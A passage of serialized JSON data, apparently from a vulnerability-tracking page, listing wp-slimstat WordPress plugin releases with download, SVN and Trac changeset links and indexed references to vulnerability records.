"url_slug":138,"title":139,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":142},{"id":35,"url_slug":36,"title":37,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"version":1684,"download_url":1685,"svn_tag_url":1686,"released_at":39,"has_diff":54,"diff_files_changed":1687,"diff_lines":39,"trac_diff_url":1688,"vulnerabilities":1689,"is_current":54},"5.2.8","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwp-slimstat.5.2.8.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fwp-slimstat\u002Ftags\u002F5.2.8\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fwp-slimstat%2Ftags%2F5.2.7&new_path=%2Fwp-slimstat%2Ftags%2F5.2.8",[1690,1691,1692,1693,1694,1695],{"id":91,"url_slug":92,"title":93,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":96},{"id":155,"url_slug":156,"title":157,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":96},{"id":64,"url_slug":65,"title":66,"severity":70,"cvss_score":71,"vuln_type":73,"patched_in_version":69},{"id":118,"url_slug":119,"title":120,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":123},{"id":137,"url_slug":138,"title":139,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":142},{"id":35,"url_slug":36,"title":37,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"version":171,"download_url":1697,"svn_tag_url":1698,"released_at":39,"has_diff":54,"diff_files_changed":1699,"diff_lines":39,"trac_diff_url":1700,"vulnerabilities":1701,"is_current":54},"https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwp-slimstat.5.2.7.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fwp-slimstat\u002Ftags\u002F5.2.7\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fwp-slimstat%2Ftags%2F5.2.6&new_path=%2Fwp-slimstat%2Ftags%2F5.2.7",[1702,1703,1704,1705,1706,1707],{"id":91,"url_slug":92,"title":93,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":96},{"id":155,"url_slug":156,"title":157,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":96},{"id":64,"url_slug":65,"title":66,"severity":70,"cvss_score":71,"vuln_type":73,"patched_in_version":69},{"id":118,"url_slug":119,"title":120,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":123},{"id":137,"url_slug":138,"title":139,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":142},{"id":35,"url_slug":36,"title":37,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"version":1709,"download_url":1710,"svn_tag_url":1711,"released_at":39,"has_diff":54,"diff_files_changed":1712,"diff_lines":39,"trac_diff_url":1713,"vulnerabilities":1714,"is_current":54},"5.2.6","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwp-slimstat.5.2.6.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fwp-slimstat\u002Ftags\u002F5.2.6\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fwp-slimstat%2Ftags%2F5.2.5&new_path=%2Fwp-slimstat%2Ftags%2F5.2.6",[1715,1716,1717,1718,1719,1720,1721],{"id":91,"url_slug":92,"title":93,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":96},{"id":155,"url_slug":156,"title":157,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":96},{"id":64,"url_slug":65,"title":66,"severity":70,"cvss_score":71,"vuln_type":73,"patched_in_version":69},{"id":118,"url_slug":119,"title":120,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":123},{"id":137,"url_slug":138,"title":139,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":142},{"id":35,"url_slug":36,"title":37,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"id":166,"url_slug":167,"title":168,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":171},{"version":1723,"download_url":1724,"svn_tag_url":1725,"released_at":39,"has_diff":54,"diff_files_changed":1726,"diff_lines":39,"trac_diff_url":1727,"vulnerabilities":1728,"is_current":54},"5.2.5","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwp-slimstat.5.2.5.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fwp-slimstat\u002Ftags\u002F5.2.5\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fwp-slimstat%2Ftags%2F5.2.4&new_path=%2Fwp-slimstat%2Ftags%2F5.2.5",[1729,1730,1731,1732,1733,1734,1735],{"id":91,"url_slug":92,"title":93,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":96},{"id":155,"url_slug":156,"title":157,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":96},{"id":64,"url_slug":65,"title":66,"severity":70,"cvss_score":71,"vuln_type":73,"patched_in_version":69},{"id":118,"url_slug":119,"title":120,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":123},{"id":137,"url_slug":138,"title":139,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":142},{"id":35,"url_slug":36,"title":37,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"id":166,"url_slug":167,"title":168,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":171},{"version":1737,"download_url":1738,"svn_tag_url":1739,"released_at":39,"has_diff":54,"diff_files_changed":1740,"diff_lines":39,"trac_diff_url":1741,"vulnerabilities":1742,"is_current":54},"5.2.4","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwp-slimstat.5.2.4.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fwp-slimstat\u002Ftags\u002F5.2.4\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fwp-slimstat%2Ftags%2F5.2.3&new_path=%2Fwp-slimstat%2Ftags%2F5.2.4",[1743,1744,1745,1746,1747,1748,1749],{"id":91,"url_slug":92,"title":93,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":96},{"id":155,"url_slug":156,"title":157,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":96},{"id":64,"url_slug":65,"title":66,"severity":70,"cvss_score":71,"vuln_type":73,"patched_in_version":69},{"id":118,"url_slug":119,"title":120,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":123},{"id":137,"url_slug":138,"title":139,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":142},{"id":35,"url_slug":36,"title":37,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"id":166,"url_slug":167,"title":168,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":171},{"version":1751,"download_url":1752,"svn_tag_url":1753,"released_at":39,"has_diff":54,"diff_files_changed":1754,"diff_lines":39,"trac_diff_url":1755,"vulnerabilities":1756,"is_current":54},"5.2.3","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwp-slimstat.5.2.3.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fwp-slimstat\u002Ftags\u002F5.2.3\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fwp-slimstat%2Ftags%2F5.2.2&new_path=%2Fwp-slimstat%2Ftags%2F5.2.3",[1757,1758,1759,1760,1761,1762,1763],{"id":91,"url_slug":92,"title":93,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":96},{"id":155,"url_slug":156,"title":157,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":96},{"id":64,"url_slug":65,"title":66,"severity":70,"cvss_score":71,"vuln_type":73,"patched_in_version":69},{"id":118,"url_slug":119,"title":120,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":123},{"id":137,"url_slug":138,"title":139,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":142},{"id":35,"url_slug":36,"title":37,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"id":166,"url_slug":167,"title":168,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":171},{"version":1765,"download_url":1766,"svn_tag_url":1767,"released_at":39,"has_diff":54,"diff_files_changed":1768,"diff_lines":39,"trac_diff_url":1769,"vulnerabilities":1770,"is_current":54},"5.2.2","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwp-slimstat.5.2.2.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fwp-slimstat\u002Ftags\u002F5.2.2\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fwp-slimstat%2Ftags%2F5.2.1&new_path=%2Fwp-slimstat%2Ftags%2F5.2.2",[1771,1772,1773,1774,1775,1776,1777],{"id":91,"url_slug":92,"title":93,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":96},{"id":155,"url_slug":156,"title":157,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":96},{"id":64,"url_slug":65,"title":66,"severity":70,"cvss_score":71,"vuln_type":73,"patched_in_version":69},{"id":118,"url_slug":119,"title":120,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":123},{"id":137,"url_slug":138,"title":139,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":142},{"id":35,"url_slug":36,"title":37,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"id":166,"url_slug":167,"title":168,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":171},{"version":1779,"download_url":1780,"svn_tag_url":1781,"released_at":39,"has_diff":54,"diff_files_changed":1782,"diff_lines":39,"trac_diff_url":1783,"vulnerabilities":1784,"is_current":54},"5.2.1","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwp-slimstat.5.2.1.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fwp-slimstat\u002Ftags\u002F5.2.1\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fwp-slimstat%2Ftags%2F5.2&new_path=%2Fwp-slimstat%2Ftags%2F5.2.1",[1785,1786,1787,1788,1789,1790,1791],{"id":91,"url_slug":92,"title":93,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":96},{"id":155,"url_slug":156,"title":157,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":96},{"id":64,"url_slug":65,"title":66,"severity":70,"cvss_score":71,"vuln_type":73,"patched_in_version":69},{"id":118,"url_slug":119,"title":120,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":123},{"id":137,"url_slug":138,"title":139,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":142},{"id":35,"url_slug":36,"title":37,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"id":166,"url_slug":167,"title":168,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":171},{"version":1793,"download_url":1794,"svn_tag_url":1795,"released_at":39,"has_diff":54,"diff_files_changed":1796,"diff_lines":39,"trac_diff_url":1797,"vulnerabilities":1798,"is_current":54},"5.2","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwp-slimstat.5.2.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fwp-slimstat\u002Ftags\u002F5.2\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fwp-slimstat%2Ftags%2F5.1.5&new_path=%2Fwp-slimstat%2Ftags%2F5.2",[1799,1800,1801,1802,1803,1804,1805],{"id":91,"url_slug":92,"title":93,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":96},{"id":155,"url_slug":156,"title":157,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":96},{"id":64,"url_slug":65,"title":66,"severity":70,"cvss_score":71,"vuln_type":73,"patched_in_version":69},{"id":118,"url_slug":119,"title":120,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":123},{"id":137,"url_slug":138,"title":139,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":142},{"id":35,"url_slug":36,"title":37,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"id":166,"url_slug":167,"title":168,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":171},{"version":1807,"download_url":1808,"svn_tag_url":1809,"released_at":39,"has_diff":54,"diff_files_changed":1810,"diff_lines":39,"trac_diff_url":1811,"vulnerabilities":1812,"is_current":54},"5.1.5","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwp-slimstat.5.1.5.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fwp-slimstat\u002Ftags\u002F5.1.5\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fwp-slimstat%2Ftags%2F5.1.4&new_path=%2Fwp-slimstat%2Ftags%2F5.1.5",[1813,1814,1815,1816,1817,1818,1819],{"id":91,"url_slug":92,"title":93,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":96},{"id":155,"url_slug":156,"title":157,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":96},{"id":64,"url_slug":65,"title":66,"severity":70,"cvss_score":71,"vuln_type":73,"patched_in_version":69},{"id":118,"url_slug":119,"title":120,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":123},{"id":137,"url_slug":138,"title":139,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":142},{"id":35,"url_slug":36,"title":37,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"id":166,"url_slug":167,"title":168,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":171},{"version":183,"download_url":1821,"svn_tag_url":1822,"released_at":39,"has_diff":54,"diff_files_changed":1823,"diff_lines":39,"trac_diff_url":1824,"vulnerabilities":1825,"is_current":54},"https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwp-slimstat.5.1.4.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fwp-slimstat\u002Ftags\u002F5.1.4\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fwp-slimstat%2Ftags%2F5.1.3&new_path=%2Fwp-slimstat%2Ftags%2F5.1.4",[1826,1827,1828,1829,1830,1831,1832],{"id":91,"url_slug":92,"title":93,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":96},{"id":155,"url_slug":156,"title":157,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":96},{"id":64,"url_slug":65,"title":66,"severity":70,"cvss_score":71,"vuln_type":73,"patched_in_version":69},{"id":118,"url_slug":119,"title":120,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":123},{"id":137,"url_slug":138,"title":139,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":142},{"id":35,"url_slug":36,"title":37,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"id":166,"url_slug":167,"title":168,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":171},{"version":1834,"download_url":1835,"svn_tag_url":1836,"released_at":39,"has_diff":54,"diff_files_changed":1837,"diff_lines":39,"trac_diff_url":1838,"vulnerabilities":1839,"is_current":54},"5.1.3","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwp-slimstat.5.1.3.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fwp-slimstat\u002Ftags\u002F5.1.3\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fwp-slimstat%2Ftags%2F5.1.2&new_path=%2Fwp-slimstat%2Ftags%2F5.1.3",[1840,1841,1842,1843,1844,1845,1846,1847],{"id":91,"url_slug":92,"title":93,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":96},{"id":178,"url_slug":179,"title":180,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":183},{"id":155,"url_slug":156,"title":157,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":96},{"id":64,"url_slug":65,"title":66,"severity":70,"cvss_score":71,"vuln_type":73,"patched_in_version":69},{"id":118,"url_slug":119,"title":120,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":123},{"id":137,"url_slug":138,"title":139,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":142},{"id":35,"url_slug":36,"title":37,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"id":166,"url_slug":167,"title":168,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":171},{"version":1849,"download_url":1850,"svn_tag_url":1851,"released_at":39,"has_diff":54,"diff_files_changed":1852,"diff_lines":39,"trac_diff_url":1853,"vulnerabilities":1854,"is_current":54},"5.1.2","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwp-slimstat.5.1.2.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fwp-slimstat\u002Ftags\u002F5.1.2\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fwp-slimstat%2Ftags%2F5.1.1&new_path=%2Fwp-slimstat%2Ftags%2F5.1.2",[1855,1856,1857,1858,1859,1860,1861,1862],{"id":91,"url_slug":92,"title":93,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":96},{"id":178,"url_slug":179,"title":180,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":183},{"id":155,"url_slug":156,"title":157,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":96},{"id":64,"url_slug":65,"title":66,"severity":70,"cvss_score":71,"vuln_type":73,"patched_in_version":69},{"id":118,"url_slug":119,"title":120,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":123},{"id":137,"url_slug":138,"title":139,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":142},{"id":35,"url_slug":36,"title":37,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"id":166,"url_slug":167,"title":168,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":171},{"version":1864,"download_url":1865,"svn_tag_url":1866,"released_at":39,"has_diff":54,"diff_files_changed":1867,"diff_lines":39,"trac_diff_url":1868,"vulnerabilities":1869,"is_current":54},"5.1.1","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwp-slimstat.5.1.1.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fwp-slimstat\u002Ftags\u002F5.1.1\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fwp-slimstat%2Ftags%2F5.1&new_path=%2Fwp-slimstat%2Ftags%2F5.1.1",[1870,1871,1872,1873,1874,1875,1876,1877],{"id":91,"url_slug":92,"title":93,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":96},{"id":178,"url_slug":179,"title":180,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":183},{"id":155,"url_slug":156,"title":157,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":96},{"id":64,"url_slug":65,"title":66,"severity":70,"cvss_score":71,"vuln_type":73,"patched_in_version":69},{"id":118,"url_slug":119,"title":120,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":123},{"id":137,"url_slug":138,"title":139,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":142},{"id":35,"url_slug":36,"title":37,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"id":166,"url_slug":167,"title":168,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":171},{"version":1879,"download_url":1880,"svn_tag_url":1881,"released_at":39,"has_diff":54,"diff_files_changed":1882,"diff_lines":39,"trac_diff_url":1883,"vulnerabilities":1884,"is_current":54},"5.1","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwp-slimstat.5.1.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fwp-slimstat\u002Ftags\u002F5.1\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fwp-slimstat%2Ftags%2F5.0.10.2&new_path=%2Fwp-slimstat%2Ftags%2F5.1",[1885,1886,1887,1888,1889,1890,1891,1892],{"id":91,"url_slug":92,"title":93,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":96},{"id":178,"url_slug":179,"title":180,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":183},{"id":155,"url_slug":156,"title":157,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":96},{"id":64,"url_slug":65,"title":66,"severity":70,"cvss_score":71,"vuln_type":73,"patched_in_version":69},{"id":118,"url_slug":119,"title":120,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":123},{"id":137,"url_slug":138,"title":139,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":142},{"id":35,"url_slug":36,"title":37,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"id":166,"url_slug":167,"title":168,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":171},{"version":1894,"download_url":1895,"svn_tag_url":1896,"released_at":39,"has_diff":54,"diff_files_changed":1897,"diff_lines":39,"trac_diff_url":1898,"vulnerabilities":1899,"is_current":54},"5.0.10.2","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwp-slimstat.5.0.10.2.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fwp-slimstat\u002Ftags\u002F5.0.10.2\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fwp-slimstat%2Ftags%2F5.0.10.1&new_path=%2Fwp-slimstat%2Ftags%2F5.0.10.2",[1900,1901,1902,1903,1904,1905,1906,1907],{"id":91,"url_slug":92,"title":93,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":96},{"id":178,"url_slug":179,"title":180,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":183},{"id":155,"url_slug":156,"title":157,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":96},{"id":64,"url_slug":65,"title":66,"severity":70,"cvss_score":71,"vuln_type":73,"patched_in_version":69},{"id":118,"url_slug":119,"title":120,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":123},{"id":137,"url_slug":138,"title":139,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":142},{"id":35,"url_slug":36,"title":37,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"id":166,"url_slug":167,"title":168,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":171},{"version":1909,"download_url":1910,"svn_tag_url":1911,"released_at":39,"has_diff":54,"diff_files_changed":1912,"diff_lines":39,"trac_diff_url":1913,"vulnerabilities":1914,"is_current":54},"5.0.10.1","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwp-slimstat.5.0.10.1.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fwp-slimstat\u002Ftags\u002F5.0.10.1\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fwp-slimstat%2Ftags%2F5.0.10&new_path=%2Fwp-slimstat%2Ftags%2F5.0.10.1",[1915,1916,1917,1918,1919,1920,1921,1922],{"id":91,"url_slug":92,"title":93,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":96},{"id":178,"url_slug":179,"title":180,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":183},{"id":155,"url_slug":156,"title":157,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":96},{"id":64,"url_slug":65,"title":66,"severity":70,"cvss_score":71,"vuln_type":73,"patched_in_version":69},{"id":118,"url_slug":119,"title":120,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":123},{"id":137,"url_slug":138,"title":139,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":142},{"id":35,"url_slug":36,"title":37,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"id":166,"url_slug":167,"title":168,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":171},{"version":198,"download_url":1924,"svn_tag_url":1925,"released_at":39,"has_diff":54,"diff_files_changed":1926,"diff_lines":39,"trac_diff_url":1927,"vulnerabilities":1928,"is_current":54},"https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwp-slimstat.5.0.10.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fwp-slimstat\u002Ftags\u002F5.0.10\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fwp-slimstat%2Ftags%2F5.0.9&new_path=%2Fwp-slimstat%2Ftags%2F5.0.10",[1929,1930,1931,1932,1933,1934,1935,1936],{"id":91,"url_slug":92,"title":93,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":96},{"id":178,"url_slug":179,"title":180,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":183},{"id":155,"url_slug":156,"title":157,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":96},{"id":64,"url_slug":65,"title":66,"severity":70,"cvss_score":71,"vuln_type":73,"patched_in_version":69},{"id":118,"url_slug":119,"title":120,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":123},{"id":137,"url_slug":138,"title":139,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":142},{"id":35,"url_slug":36,"title":37,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"id":166,"url_slug":167,"title":168,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":171},{"version":223,"download_url":1938,"svn_tag_url":1939,"released_at":39,"has_diff":54,"diff_files_changed":1940,"diff_lines":39,"trac_diff_url":1941,"vulnerabilities":1942,"is_current":54},"https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwp-slimstat.5.0.9.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fwp-slimstat\u002Ftags\u002F5.0.9\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fwp-slimstat%2Ftags%2F5.0.8&new_path=%2Fwp-slimstat%2Ftags%2F5.0.9",[1943,1944,1945,1946,1947,1948,1949,1950,1951,1952],{"id":193,"url_slug":194,"title":195,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":198},{"id":91,"url_slug":92,"title":93,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":96},{"id":178,"url_slug":179,"title":180,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":183},{"id":208,"url_slug":209,"title":210,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":198},{"id":155,"url_slug":156,"title":157,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":96},{"id":64,"url_slug":65,"title":66,"severity":70,"cvss_score":71,"vuln_type":73,"patched_in_version":69},{"id":118,"url_slug":119,"title":120,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":123},{"id":137,"url_slug":138,"title":139,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":142},{"id":35,"url_slug":36,"title":37,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"id":166,"url_slug":167,"title":168,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":171},{"version":1954,"download_url":1955,"svn_tag_url":1956,"released_at":39,"has_diff":54,"diff_files_changed":1957,"diff_lines":39,"trac_diff_url":1958,"vulnerabilities":1959,"is_current":54},"5.0.8","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwp-slimstat.5.0.8.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fwp-slimstat\u002Ftags\u002F5.0.8\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fwp-slimstat%2Ftags%2F5.0.7&new_path=%2Fwp-slimstat%2Ftags%2F5.0.8",[1960,1961,1962,1963,1964,1965,1966,1967,1968,1969,1970],{"id":193,"url_slug":194,"title":195,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":198},{"id":91,"url_slug":92,"title":93,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":96},{"id":178,"url_slug":179,"title":180,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":183},{"id":218,"url_slug":219,"title":220,"severity":70,"cvss_score":224,"vuln_type":45,"patched_in_version":223},{"id":208,"url_slug":209,"title":210,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":198},{"id":155,"url_slug":156,"title":157,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":96},{"id":64,"url_slug":65,"title":66,"severity":70,"cvss_score":71,"vuln_type":73,"patched_in_version":69},{"id":118,"url_slug":119,"title":120,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":123},{"id":137,"url_slug":138,"title":139,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":142},{"id":35,"url_slug":36,"title":37,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"id":166,"url_slug":167,"title":168,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":171},{"version":1972,"download_url":1973,"svn_tag_url":1974,"released_at":39,"has_diff":54,"diff_files_changed":1975,"diff_lines":39,"trac_diff_url":1976,"vulnerabilities":1977,"is_current":54},"5.0.7","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwp-slimstat.5.0.7.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fwp-slimstat\u002Ftags\u002F5.0.7\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fw